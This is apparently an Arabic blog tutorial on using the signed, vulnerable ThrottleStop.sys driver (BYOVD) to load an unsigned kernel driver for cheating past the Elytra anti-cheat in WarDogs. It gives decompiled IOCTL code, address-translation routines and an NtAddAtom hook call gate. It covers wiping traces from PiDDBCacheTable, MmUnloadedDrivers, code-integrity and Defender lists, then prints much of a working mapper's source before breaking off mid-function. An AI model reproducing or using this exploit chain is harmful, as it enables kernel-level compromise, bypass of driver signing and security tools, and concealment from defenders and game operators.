السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم، حمداً والصلاة والسلام على نبينا محمد أشرف الخلق والمرسلين، أما بعد:
في الجزء الأول من المقالة حاب أستعرض فكرة Bring Your Own Vulnerable Driver وكيف تشتغل، قبل ما نبدأ تحليل الـ anti-cheat الموجود في WarDogs، وهو Elytra.
فكرة BYOVD باختصار إننا نستغل درايفر مصاب وعليه شهادة مرخصة من قبل أي مقدم خدمة. بعض هذي الدرايفرات تستخدمها برامج مشهورة مثل MSI Afterburner أو أدوات HWID أو غيرها، وعشان كذا تكون موقعة وموثوقة من ويندوز.
استغلال درايفر مرخص يعطيك وصول إلى Kernel Level، يعني تصير أنت والـ anti-cheat على نفس المستوى. بعدها تقدر تحمل درايفر غير مرخص يخص الـ ESP أو الـ Wall Hack، وتقرأ process اللعبة بدون ما تفتح handle عليها. في هذي المقالة راح أشرح كل خطوة، وأتكلم عن الطرق اللي نخفي فيها آثار الـ mapping.
أنواع الشيتات
قبل ندخل في الكود، لازم نفرق بين أنواع الشيتات:
Internal cheat
DLL يشتغل داخل بروسيس اللعبة. يقرأ ويعدل الذاكرة مباشرة، لكنه أسهل كشف للـ anti-cheat.
External cheat
بروسيس منفصل يقرأ البروسيس الخاص باللعبة عن طريق الدرايفر الخاص بالشيت هذا النوع من الشيت آمن اكثر وهذا اللي راح نتطرق له في المقالات الجاية
1. ليش ما نقدر نقرأ ذاكرة اللعبة مباشرة؟
أسهل شيت خارجي يستخدم OpenProcess وReadProcessMemory. هذا يشتغل على الألعاب غير المحمية، لكنه يترك handle على اللعبة. الـ anti-cheat يقدر يشوف الـ handle والـ process access والموديول اللي فتحه. هذا ينبّه الحماية أن فيه بروسيس غير معروف يحاول يقرأ بروسيس اللعبة.
نحتاج قراءة ذاكرة بدون ما ننشئ handle على اللعبة. الكيرنل عنده primitive جاهز: الدرايفر يقدر يحول عنوان virtual إلى صفحة physical وينسخ منها. المشكلة إن ويندوز ما يحمل درايفرنا unsigned من الـ service manager.
عشان كذا نستعير درايفر موقّع وفيه ثغرة، ونستغلها عشان نشغّل الدرايفر الخاص بنا غير الموقّع، ونقرأ بروسيس اللعبة بدون ما ننكشف. هذا اسمه BYOVD — Bring Your Own Vulnerable Driver.
الرسمة تحت توضح الفكرة.
2. الدرايفر المصاب: ThrottleStop.sys
ThrottleStop داريفر موقّع مصاب بـ(R,W) Primitive.
File: ThrottleStop.sys
SHA-256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0
ImageBase: 0x140000000
Device: \Device\ThrottleStop
User path: \\.\ThrottleStop
الدالة المهمة هي IOCTL dispatcher في 0x140001EF0. تقرأ كود الـ IOCTL وتنقز إلى handler. عندنا handlerين يهموننا:
0x80006498 -> physical read @ 0x140002184
0x8000649C -> physical write @ 0x140002271
الكود من Hex-Rays
هذا مقتطف Hex-Rays من داخل sub_140001EF0. الأسماء مثل v2 وv21 وv28 هي أسماء المتغيرات اللي طلعت من الديكومبايلر نفسه.
v2 = *(_QWORD *)(a2 + 184);
v6 = -1073741823;
switch ( *(_DWORD *)(v2 + 24) )
{
case 0x80006498:
if ( *(_DWORD *)(v2 + 16) != 8 )
{
*(_QWORD *)(a2 + 56) = 8;
v7 = 309;
goto LABEL_99;
}
v21 = *(unsigned __int8 *)(v2 + 8);
if ( (unsigned __int8)v21 > 8u || (v22 = 278, !_bittest(&v22, v21)) )
{
v7 = 318;
goto LABEL_99;
}
v23 = MmMapIoSpace(**(PHYSICAL_ADDRESS **)(a2 + 24), *(unsigned __int8 *)(v2 + 8), MmNonCached);
if ( v23 == nullptr )
{
v24 = 325;
goto LABEL_68;
}
if ( (_BYTE)v21 == 1 )
{
**(_BYTE **)(a2 + 24) = *v23;
MmUnmapIoSpace(v23, v21);
v6 = 0;
}
else if ( (_BYTE)v21 == 2 )
{
**(_WORD **)(a2 + 24) = *(_WORD *)v23;
MmUnmapIoSpace(v23, v21);
v6 = 0;
}
else if ( (_BYTE)v21 == 4 )
{
**(_DWORD **)(a2 + 24) = *(_DWORD *)v23;
MmUnmapIoSpace(v23, v21);
v6 = 0;
}
else
{
if ( (_BYTE)v21 == 8 )
**(_QWORD **)(a2 + 24) = *(_QWORD *)v23;
MmUnmapIoSpace(v23, v21);
v6 = 0;
}
goto LABEL_100;
case 0x8000649C:
if ( *(_DWORD *)(v2 + 8) != 0 )
{
*(_QWORD *)(a2 + 56) = 0;
v7 = 351;
goto LABEL_99;
}
v25 = *(unsigned __int8 *)(v2 + 16);
LOBYTE(v25) = v25 - 8;
if ( (unsigned __int8)v25 > 8u || (v26 = 278, !_bittest(&v26, v25)) )
{
v7 = 358;
goto LABEL_99;
}
v27 = *(_QWORD *)(a2 + 24);
v28 = MmMapIoSpace(*(PHYSICAL_ADDRESS *)v27, (unsigned __int8)v25, MmNonCached);
if ( v28 != nullptr )
{
if ( (_BYTE)v25 == 1 )
{
*v28 = *(_BYTE *)(v27 + 8);
MmUnmapIoSpace(v28, 1u);
v6 = 0;
}
else if ( (_BYTE)v25 == 2 )
{
*(_WORD *)v28 = *(_WORD *)(v27 + 8);
MmUnmapIoSpace(v28, 2u);
v6 = 0;
}
else if ( (_BYTE)v25 == 4 )
{
*(_DWORD *)v28 = *(_DWORD *)(v27 + 8);
MmUnmapIoSpace(v28, 4u);
v6 = 0;
}
else
{
if ( (_BYTE)v25 == 8 )
*(_QWORD *)v28 = *(_QWORD *)(v27 + 8);
MmUnmapIoSpace(v28, (unsigned __int8)v25);
v6 = 0;
}
}
else
{
v24 = 370;
LABEL_68:
sub_140001590(1, "%s %d: MmMapIoSpace failed", "ioctl.c", v24);
}
goto LABEL_100;
}
شرح الإصابة
الـ IOCTL هو طلب يرسله برنامج من user mode إلى الدرايفر. هذا الدرايفر عنده طلبين مهمين:
0x80006498— READ: اليوزر يرسل له physical address والقيمة لازم تكون 1 او 2 او 4 او 8 بايت الدرايفر يسوي map للـ physical page، يقرأ البايتات، ويرجعها لليوزر.0x8000649C— WRITE: اليوزر يرسل له physical address وقيمة بحجم 1 أو 2 أو 4 أو 8 الدرايفر يسوي map للصفحة ويكتب القيمة داخل الـ physical memory اللي نحدده سواء كان عنوان فنكشن او اي مكان بالكيرنل.
وين المشكلة؟ الدرايفر يتحقق فقط من حجم البيانات، وما يتحقق من الـ physical address نفسه. يعني أي عنوان تقدر تكتب عليه او تقرأ منه في الكيرنل.
ايش هو الـKASLR
ببساطة هي حماية كل مره تشغل الجهاز راح يختلف معك الـAddress الخاصة بالنظام. ليش نحتاجها؟ عشان ودنا نعرف مكان الفنكشن Ntaddatom اللي راح نكتب عليها الدرايفر الخاص فينا
المعادلة كالتالي وراح نستخرجها عن طريق الـntsokrnl.exe:
runtime address = kernel base + function offset
إذا استخدمنا base غلط في القراءة او الكتابة ممكن الجهاز يسوي Blue Screen of Death
كيف نجيب الـBASE:
uint64_t GetKernelModuleAddress(const std::string& name) {
// نسأل ويندوز عن الموديولات المحملة في الكيرنل.
NtQuerySystemInformation(SystemModuleInformation,
buffer, size, &size);
auto* modules = (RTL_PROCESS_MODULES*)buffer;
// ندور على الموديول المطلوب، مثل ntoskrnl.exe.
for (UINT i = 0; i < modules->NumberOfModules; ++i) {
const char* path = modules->Modules[i].FullPathName +
modules->Modules[i].OffsetToFileName;
if (!_stricmp(path, name.c_str()))
// هذا هو الـ base الحقيقي بعد KASLR.
return (uint64_t)modules->Modules[i].ImageBase;
}
return 0;
}
بعدها نجيب أوفست الدالة: :
hLocalNtoskrnl = LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES);
FARPROC p = GetProcAddress(hLocalNtoskrnl, "NtAddAtom");
uint64_t offset = (uint64_t)p - (uint64_t)hLocalNtoskrnl;
uint64_t runtime_va = ntoskrnlAddr + offset;
الفرق بين PA وVA؟
قبل شرح الـPA و الـVA نحتاج نفهمها لان الدرايفر اللي راح نستغله يقبل Physical Address فقط والـقيم اللي استخرجناها من الكود السابق هي VA.
في tsmapper التحويل الأولي ما يصير عن طريق page-table walk. يصير عن طريق Superfetch، وهذي الدالتين الفعليتين اللي تبني الخريطة وتستخدمها:
BuildTranslationMap
تبني خريطة من كل صفحة VA إلى PA، باستخدام NtQuerySystemInformation مع SystemSuperfetchInformation. الخريطة تحفظ VA page مقابل PA.
inline TranslationMap BuildTranslationMap() {
TranslationMap map;
if (!RaisePrivileges())
return map;
auto ranges = QueryMemoryRanges();
if (ranges.empty())
return map;
for (const auto& range : ranges) {
size_t buf_len = sizeof(PF_PFN_PRIO_REQUEST) +
sizeof(MMPFN_IDENTITY) * range.page_count;
auto buffer = std::make_unique<uint8_t[]>(buf_len);
auto request = reinterpret_cast<PF_PFN_PRIO_REQUEST*>(buffer.get());
request->Version = 1;
request->RequestFlags = 1;
request->PfnCount = range.page_count;
for (uint64_t i = 0; i < range.page_count; ++i)
request->PageData[i].PageFrameIndex = range.pfn + i;
if (!NT_SUCCESS(QuerySuperfetchInfo(
SuperfetchPfnQuery, request, (ULONG)buf_len)))
continue;
for (uint64_t i = 0; i < range.page_count; ++i) {
void* virt = request->PageData[i].u2.VirtualAddress;
if (virt) {
uint64_t va_page = reinterpret_cast<uint64_t>(virt) & ~0xFFFull;
uint64_t pa = (range.pfn + i) << 12;
map[va_page] = pa;
}
}
}
return map;
}
Translate
تاخذ عنوان VA، تحسب رقم الصفحة، تدور عليها في الخريطة، وترجع الـ PA مع الـ offset داخل الصفحة. إذا الصفحة مو موجودة ترجع 0.
inline uint64_t Translate(const TranslationMap& map, uint64_t va) {
uint64_t va_page = va & ~0xFFFull;
auto it = map.find(va_page);
if (it == map.end())
return 0;
return it->second + (va & 0xFFF);
}
وهذا page-table walk كامل للتوضيح:
طريقة التحويل من VA الى PA
uint64_t VaToPa(uint64_t va) {
uint64_t cr3 = __readcr3();
uint64_t pml4e = read64((cr3 & ~0xFFFull) + ((va >> 39) & 0x1FF) * 8);
if (!(pml4e & 1)) return 0;
uint64_t pdpte = read64((pml4e & 0x000FFFFFFFFFF000ULL) + ((va >> 30) & 0x1FF) * 8);
if (!(pdpte & 1)) return 0;
if (pdpte & 0x80) return (pdpte & 0x000FFFFFC0000000ULL) | (va & 0x3FFFFFFF);
uint64_t pde = read64((pdpte & 0x000FFFFFFFFFF000ULL) + ((va >> 21) & 0x1FF) * 8);
if (!(pde & 1)) return 0;
if (pde & 0x80) return (pde & 0x000FFFFFFFE00000ULL) | (va & 0x1FFFFF);
uint64_t pte = read64((pde & 0x000FFFFFFFFFF000ULL) + ((va >> 12) & 0x1FF) * 8);
if (!(pte & 1)) return 0;
return (pte & 0x000FFFFFFFFFF000ULL) | (va & 0xFFF);
}
3. الإستغلال
الإستغلال يمر على 13 مرحله:
- نجيب
Kernel BaseوأوفستNtAddAtom. - نحوّل عنوان
NtAddAtomمنVAإلىPA. - نبني call gate مؤقت على
NtAddAtom:- نحفظ أول 16 بايت من الدالة.
- نكتب
jmpللدالة اللي نبي نناديها. - ننادي
ntdll!NtAddAtom. - نرجع البايتات الأصلية بعد كل Call لـNtaddAtom.
ExAllocatePoolWithTag— نحجز pool للدرايفر.MmGetPhysicalAddress— ناخذ PA للـ pool.- نقرا الدرايفر من الدسك ونسوي resolve للفنكشنز.
- نكتب الدرايفر في الـ pool، وبعدها
jmpإلىDriverEntry. - ننظف آثار اللودر.
الرسمة تحت توضح كل مرحلة بالتفصيل: من وين نجيب العنوان، كيف يتحول، وش يصير داخل الـ call gate، وبعدها mapping والتنظيف.
الخطوة 1: Kernel Base + NtAddAtom
نجيب قاعدة ntoskrnl من قائمة الموديولات، ونحسب VA حق NtAddAtom
ntoskrnlAddr = kdmUtils::GetKernelModuleAddress("ntoskrnl.exe");
uint64_t ntAddAtomOffset = GetLocalExportOffset("NtAddAtom");
uint64_t vaNtAddAtom = ntoskrnlAddr + ntAddAtomOffset;
الخطوة 2: VA → PA
نبني Superfetch map مرة وحدة، ونترجم NtAddAtom من VA إلى PA.
auto translation_map = superfetch::BuildTranslationMap();
paNtAddAtom = superfetch::Translate(translation_map, vaNtAddAtom);
الخطوة 3: Call Gate
داخل CallKernelFunction: نحفظ 16 بايت، نكتب الـ stub، ننادي الدالة، وبعدها نرجع البايتات الأصلية.
uint8_t kernel_injected_jmp[16] = {
0x48, 0xb8, 0, 0, 0, 0, 0, 0,
0, 0, 0xff, 0xe0, 0, 0, 0, 0
};
uint8_t original_kernel_function[16];
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
ReadPhysicalBuffer(paNtAddAtom, &original_kernel_function,
sizeof(kernel_injected_jmp));
memcpy(&kernel_injected_jmp[12], &original_kernel_function[12], 4);
WritePhysicalBuffer(paNtAddAtom, &kernel_injected_jmp,
sizeof(kernel_injected_jmp));
if constexpr (!call_void) {
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
*out_result = Function(arguments...);
} else {
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
Function(arguments...);
}
WritePhysicalBuffer(paNtAddAtom, original_kernel_function,
sizeof(kernel_injected_jmp));
الخطوة 4: Mapping
داخل MapDriver: نختار pool أو independent pages، نحسب entry point، وننادي DriverEntry.
ULONG64 kernel_image_base = 0;
if (mode == AllocationMode::AllocateIndependentPages)
kernel_image_base = ts_driver::MmAllocateIndependentPagesEx(image_size);
else
kernel_image_base = ts_driver::AllocatePool(
nt::POOL_TYPE::NonPagedPool, image_size);
const ULONG64 address_of_entry_point =
kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint;
NTSTATUS status = 0;
ts_driver::CallKernelFunction(&status, address_of_entry_point,
(PassAllocationAddressAsFirstParam ? realBase : param1), param2);
الخطوة 5: Cleanup
نحذف آثار التحميل من الكاشات، وبعدها نعمل unload للـ ThrottleStop.
ts_driver::ClearPiDDBCacheTable();
ts_driver::ClearKernelHashBucketList();
ts_driver::ClearMmUnloadedDrivers();
ts_driver::ClearWdFilterDriverList();
ts_driver::Unload();
4. إزالة الآثار
PiDDBCacheTable— حذف الدرايفر من الدرايفر لستg_KernelHashBucketList— حذف code-integrity hash entry داخلci.dll.MmUnloadedDrivers— تنظيف unloaded-driver history entry.WdFilterDriverList— حذف Defender driver-list entry.- Service والملف — يوقف السيرفس، يكتب فوق ملف
.sysالمؤقت، ويحذفه.
5. النتيجة
[<] Loading ThrottleStop.sys
[+] NtLoadDriver Status 0x0
[+] ThrottleStop physical R/W working
[+] ntoskrnl.exe base: 0xfffff...
[+] Superfetch map: 866551 pages
[+] NtAddAtom first bytes: 48 83 ec 28
[+] ntoskrnl MZ header verified
[+] PiDDBCacheTable Cleaned
[+] g_KernelHashBucketList Cleaned
[+] MmUnloadedDrivers Cleaned
[+] DriverEntry returned 0x0
[<] Unloading ThrottleStop driver
[+] success
6. سورس tsmapper
main.cpp
#ifndef KDLIBMODE
#include <Windows.h>
#include <iostream>
#include <string>
#include <vector>
#include <filesystem>
#include <TlHelp32.h>
#include "kdmapper.hpp"
#include "utils.hpp"
#include "ts_driver.hpp"
#ifdef PDB_OFFSETS
#include "KDSymbolsHandler.h"
#endif
LONG WINAPI SimplestCrashHandler(EXCEPTION_POINTERS* ExceptionInfo)
{
if (ExceptionInfo && ExceptionInfo->ExceptionRecord)
kdmLog(L"[!!] Crash at addr 0x" << ExceptionInfo->ExceptionRecord->ExceptionAddress << L" by 0x" << std::hex << ExceptionInfo->ExceptionRecord->ExceptionCode << std::endl);
else
kdmLog(L"[!!] Crash" << std::endl);
if (ts_driver::hDevice)
ts_driver::Unload();
return EXCEPTION_EXECUTE_HANDLER;
}
int paramExists(const int argc, wchar_t** argv, const wchar_t* param) {
size_t plen = wcslen(param);
for (int i = 1; i < argc; i++) {
if (wcslen(argv[i]) == plen + 1ull && _wcsicmp(&argv[i][1], param) == 0 && argv[i][0] == '/') { // with slash
return i;
}
else if (wcslen(argv[i]) == plen + 2ull && _wcsicmp(&argv[i][2], param) == 0 && argv[i][0] == '-' && argv[i][1] == '-') { // with double dash
return i;
}
}
return -1;
}
bool callbackExample(ULONG64* param1, ULONG64* param2, ULONG64 allocationPtr, ULONG64 allocationSize) {
UNREFERENCED_PARAMETER(param1);
UNREFERENCED_PARAMETER(param2);
UNREFERENCED_PARAMETER(allocationPtr);
UNREFERENCED_PARAMETER(allocationSize);
kdmLog("[+] Callback example called" << std::endl);
/*
This callback occurs before call driver entry and
can be useful to pass more customized params in
the last step of the mapping procedure since you
know now the mapping address and other things
*/
return true;
}
DWORD getParentProcess()
{
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD ppid = 0, pid = GetCurrentProcessId();
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
__try {
if (hSnapshot == INVALID_HANDLE_VALUE || hSnapshot == 0) __leave;
ZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
if (!Process32First(hSnapshot, &pe32)) __leave;
do {
if (pe32.th32ProcessID == pid) {
ppid = pe32.th32ParentProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
__finally {
if (hSnapshot != INVALID_HANDLE_VALUE && hSnapshot != 0) CloseHandle(hSnapshot);
}
return ppid;
}
//Help people that don't understand how to open a console
void PauseIfParentIsExplorer() {
DWORD explorerPid = 0;
GetWindowThreadProcessId(GetShellWindow(), &explorerPid);
DWORD parentPid = getParentProcess();
if (parentPid == explorerPid) {
kdmLog(L"[+] Pausing to allow for debugging" << std::endl);
kdmLog(L"[+] Press enter to close" << std::endl);
std::cin.get();
}
}
void help() {
kdmLog(L"\r\n\r\n[!] Incorrect Usage!" << std::endl);
kdmLog(L"[+] Usage: kdmapper.exe [--free][--indPages][--PassAllocationPtr][--copy-header]");
#ifdef PDB_OFFSETS
kdmLog(L"[--dontUpdateOffsets [--offsetsPath \"FilePath\"]]");
#endif
kdmLog(L" driver" << std::endl);
PauseIfParentIsExplorer();
}
int wmain(const int argc, wchar_t** argv) {
SetUnhandledExceptionFilter(SimplestCrashHandler);
bool free = paramExists(argc, argv, L"free") > 0;
bool indPagesMode = paramExists(argc, argv, L"indPages") > 0;
bool passAllocationPtr = paramExists(argc, argv, L"PassAllocationPtr") > 0;
bool copyHeader = paramExists(argc, argv, L"copy-header") > 0;
if (free) {
kdmLog(L"[+] Free memory after driver execution enabled" << std::endl);
}
if (indPagesMode) {
kdmLog(L"[+] Allocate Independent Pages mode enabled" << std::endl);
}
if (passAllocationPtr) {
kdmLog(L"[+] Pass Allocation Ptr as first param enabled" << std::endl);
}
if (copyHeader) {
kdmLog(L"[+] Copying driver header enabled" << std::endl);
}
#ifdef PDB_OFFSETS
bool UpdateOffset = !(paramExists(argc, argv, L"dontUpdateOffsets") > 0);
int FilePathParamIdx = paramExists(argc, argv, L"offsetsPath");
std::wstring offsetFilePath = kdmUtils::GetCurrentAppFolder() + L"\\offsets.ini";
if (UpdateOffset && FilePathParamIdx > 0) {
kdmLog("[-] Can't set --offsetsPath without set --dontUpdateOffsets" << std::endl);
help();
return -1;
}
if (FilePathParamIdx > 0) {
offsetFilePath = argv[FilePathParamIdx + 1];
kdmLog("[+] Setting Offsets File Path To: " << offsetFilePath << std::endl);
}
#endif
int drvIndex = -1;
for (int i = 1; i < argc; i++) {
if (std::filesystem::path(argv[i]).extension().string().compare(".sys") == 0) {
drvIndex = i;
break;
}
}
if (drvIndex <= 0) {
help();
return -1;
}
const std::wstring driver_path = argv[drvIndex];
if (!std::filesystem::exists(driver_path)) {
kdmLog(L"[-] File " << driver_path << L" doesn't exist" << std::endl);
PauseIfParentIsExplorer();
return -1;
}
#ifdef PDB_OFFSETS
if (!KDSymbolsHandler::GetInstance()->ReloadFile(offsetFilePath, UpdateOffset ? kdmUtils::GetCurrentAppFolder() + L"\\" + SYM_FROM_PDB_EXE : L"")) {
kdmLog(L"[-] Error: Failed To Get Symbols Info." << std::endl);
PauseIfParentIsExplorer();
return -1;
}
#endif
if (!NT_SUCCESS(ts_driver::Load())) {
PauseIfParentIsExplorer();
return -1;
}
std::vector<uint8_t> raw_image = { 0 };
if (!kdmUtils::ReadFileToMemory(driver_path, &raw_image)) {
kdmLog(L"[-] Failed to read image to memory" << std::endl);
ts_driver::Unload();
PauseIfParentIsExplorer();
return -1;
}
kdmapper::AllocationMode mode = kdmapper::AllocationMode::AllocatePool;
if (indPagesMode) {
mode = kdmapper::AllocationMode::AllocateIndependentPages;
}
NTSTATUS exitCode = 0;
if (!kdmapper::MapDriver(raw_image.data(), 0, 0, free, !copyHeader, mode, passAllocationPtr, callbackExample, &exitCode)) {
kdmLog(L"[-] Failed to map " << driver_path << std::endl);
ts_driver::Unload();
PauseIfParentIsExplorer();
return -1;
}
if (!NT_SUCCESS(ts_driver::Unload())) {
kdmLog(L"[-] Warning failed to fully unload vulnerable driver " << std::endl);
PauseIfParentIsExplorer();
}
kdmLog(L"[+] success" << std::endl);
}
#endif
include/kdmapper.hpp
#pragma once
#include <Windows.h>
namespace kdmapper
{
enum class AllocationMode
{
AllocatePool,
AllocateIndependentPages
};
typedef bool (*mapCallback)(ULONG64* param1, ULONG64* param2, ULONG64 allocationPtr, ULONG64 allocationSize);
//Note: if you set PassAllocationAddressAsFirstParam as true, param1 will be ignored
ULONG64 MapDriver(BYTE* data, ULONG64 param1 = 0, ULONG64 param2 = 0, bool free = false, bool destroyHeader = true, AllocationMode mode = AllocationMode::AllocatePool, bool PassAllocationAddressAsFirstParam = false, mapCallback callback = nullptr, NTSTATUS* exitCode = nullptr);
}
kdmapper.cpp
#include "kdmapper.hpp"
#include <Windows.h>
#include <iostream>
#include "utils.hpp"
#include "ts_driver.hpp"
#include "nt.hpp"
#include "portable_executable.hpp"
void RelocateImageByDelta(portable_executable::vec_relocs relocs, const ULONG64 delta) {
for (const auto& current_reloc : relocs) {
for (auto i = 0u; i < current_reloc.count; ++i) {
const uint16_t type = current_reloc.item[i] >> 12;
const uint16_t offset = current_reloc.item[i] & 0xFFF;
if (type == IMAGE_REL_BASED_DIR64)
*reinterpret_cast<ULONG64*>(current_reloc.address + offset) += delta;
}
}
}
// Fix cookie by @Jerem584
bool FixSecurityCookie(void* local_image, ULONG64 kernel_image_base)
{
auto headers = portable_executable::GetNtHeaders(local_image);
if (!headers)
return false;
auto load_config_directory = headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
if (!load_config_directory)
{
kdmLog(L"[+] Load config directory wasn't found, probably StackCookie not defined, fix cookie skipped" << std::endl);
return true;
}
auto load_config_struct = (PIMAGE_LOAD_CONFIG_DIRECTORY)((uintptr_t)local_image + load_config_directory);
auto stack_cookie = load_config_struct->SecurityCookie;
if (!stack_cookie)
{
kdmLog(L"[+] StackCookie not defined, fix cookie skipped" << std::endl);
return true; // as I said, it is not an error and we should allow that behavior
}
stack_cookie = stack_cookie - (uintptr_t)kernel_image_base + (uintptr_t)local_image; //since our local image is already relocated the base returned will be kernel address
if (*(uintptr_t*)(stack_cookie) != 0x2B992DDFA232) {
kdmLog(L"[-] StackCookie already fixed!? this probably wrong" << std::endl);
return false;
}
kdmLog(L"[+] Fixing stack cookie" << std::endl);
auto new_cookie = 0x2B992DDFA232 ^ GetCurrentProcessId() ^ GetCurrentThreadId(); // here we don't really care about the value of stack cookie, it will still works and produce nice result
if (new_cookie == 0x2B992DDFA232)
new_cookie = 0x2B992DDFA233;
*(uintptr_t*)(stack_cookie) = new_cookie; // the _security_cookie_complement will be init by the driver itself if they use crt
return true;
}
bool ResolveImports(portable_executable::vec_imports imports) {
for (const auto& current_import : imports) {
ULONG64 Module = kdmUtils::GetKernelModuleAddress(current_import.module_name);
if (!Module) {
#if !defined(DISABLE_OUTPUT)
std::cout << "[-] Dependency " << current_import.module_name << " wasn't found" << std::endl;
#endif
return false;
}
for (auto& current_function_data : current_import.function_datas) {
ULONG64 function_address = ts_driver::GetKernelModuleExport(Module, current_function_data.name);
if (!function_address) {
//Lets try with ntoskrnl
if (Module != ts_driver::ntoskrnlAddr) {
function_address = ts_driver::GetKernelModuleExport(ts_driver::ntoskrnlAddr, current_function_data.name);
if (!function_address) {
#if !defined(DISABLE_OUTPUT)
std::cout << "[-] Failed to resolve import " << current_function_data.name << " (" << current_import.module_name << ")" << std::endl;
#endif
return false;
}
}
}
*current_function_data.address = function_address;
}
}
return true;
}
ULONG64 kdmapper::MapDriver(BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, AllocationMode mode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) {
const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(data);
if (!nt_headers) {
kdmLog(L"[-] Invalid format of PE image" << std::endl);
return 0;
}
if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
kdmLog(L"[-] Image is not 64 bit" << std::endl);
return 0;
}
ULONG32 image_size = nt_headers->OptionalHeader.SizeOfImage;
void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!local_image_base)
return 0;
DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);
ULONG64 kernel_image_base = 0;
if (mode == AllocationMode::AllocateIndependentPages)
{
kernel_image_base = ts_driver::MmAllocateIndependentPagesEx(image_size);
}
else { // AllocatePool by default
kernel_image_base = ts_driver::AllocatePool(nt::POOL_TYPE::NonPagedPool, image_size);
}
if (!kernel_image_base) {
kdmLog(L"[-] Failed to allocate remote image in kernel" << std::endl);
VirtualFree(local_image_base, 0, MEM_RELEASE);
return 0;
}
do {
kdmLog(L"[+] Image base has been allocated at 0x" << reinterpret_cast<void*>(kernel_image_base) << std::endl);
// Copy image headers
memcpy(local_image_base, data, nt_headers->OptionalHeader.SizeOfHeaders);
// Copy image sections
const PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers);
for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
if ((current_image_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)
continue;
auto local_section = reinterpret_cast<void*>(reinterpret_cast<ULONG64>(local_image_base) + current_image_section[i].VirtualAddress);
memcpy(local_section, reinterpret_cast<void*>(reinterpret_cast<ULONG64>(data) + current_image_section[i].PointerToRawData), current_image_section[i].SizeOfRawData);
}
ULONG64 realBase = kernel_image_base;
if (destroyHeader) {
kernel_image_base -= TotalVirtualHeaderSize;
kdmLog(L"[+] Skipped 0x" << std::hex << TotalVirtualHeaderSize << L" bytes of PE Header" << std::endl);
}
// Resolve relocs and imports
RelocateImageByDelta(portable_executable::GetRelocs(local_image_base), kernel_image_base - nt_headers->OptionalHeader.ImageBase);
if (!FixSecurityCookie(local_image_base, kernel_image_base ))
{
kdmLog(L"[-] Failed to fix cookie" << std::endl);
return 0;
}
if (!ResolveImports(portable_executable::GetImports(local_image_base))) {
kdmLog(L"[-] Failed to resolve imports" << std::endl);
kernel_image_base = realBase;
break;
}
// Write fixed image to kernel
if (!ts_driver::WriteMemory(realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) {
kdmLog(L"[-] Failed to write local image to remote image" << std::endl);
kernel_image_base = realBase;
break;
}
if (mode == AllocationMode::AllocateIndependentPages)
{
auto ProtectionToString = [](ULONG prot) -> const char* {
switch (prot)
{
case PAGE_NOACCESS: return "NOACCESS";
case PAGE_READONLY: return "READONLY";
case PAGE_READWRITE: return "READWRITE";
case PAGE_EXECUTE: return "EXECUTE";
case PAGE_EXECUTE_READ: return "EXECUTE_READ";
case PAGE_EXECUTE_READWRITE: return "EXECUTE_READWRITE";
default: return "UNKNOWN";
}
};
for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) {
auto sec = &IMAGE_FIRST_SECTION(nt_headers)[i];
uintptr_t secAddr = kernel_image_base + sec->VirtualAddress;
uint32_t secSize = sec->Misc.VirtualSize;
if (secSize <= 0) {
kdmLog(L"[*] Skipping empty section: " << (char*)sec->Name << std::endl);
continue;
}
ULONG prot = PAGE_READONLY;
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
prot = (sec->Characteristics & IMAGE_SCN_MEM_WRITE) ?
PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
}
else if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) {
prot = PAGE_READWRITE;
}
else if (sec->Characteristics & IMAGE_SCN_MEM_READ) {
prot = PAGE_READONLY;
}
kdmLog(L"[+] Setting protection for section: "
<< (char*)sec->Name
<< L" Base: 0x" << std::hex << secAddr
<< L" Size: 0x" << secSize
<< L" Prot: " << ProtectionToString(prot)
<< std::dec << std::endl);
if (!ts_driver::MmSetPageProtection(secAddr, secSize, prot)) {
kdmLog(L"[-] Failed to set protection for section: " << (char*)sec->Name << std::endl);
}
}
}
// Call driver entry point
const ULONG64 address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint;
kdmLog(L"[<] Calling DriverEntry 0x" << reinterpret_cast<void*>(address_of_entry_point) << std::endl);
if (callback) {
if (!callback(¶m1, ¶m2, realBase, image_size)) {
kdmLog(L"[-] Callback returns false, failed!" << std::endl);
kernel_image_base = realBase;
break;
}
}
NTSTATUS status = 0;
if (!ts_driver::CallKernelFunction(&status, address_of_entry_point, (PassAllocationAddressAsFirstParam ? realBase : param1), param2)) {
kdmLog(L"[-] Failed to call driver entry" << std::endl);
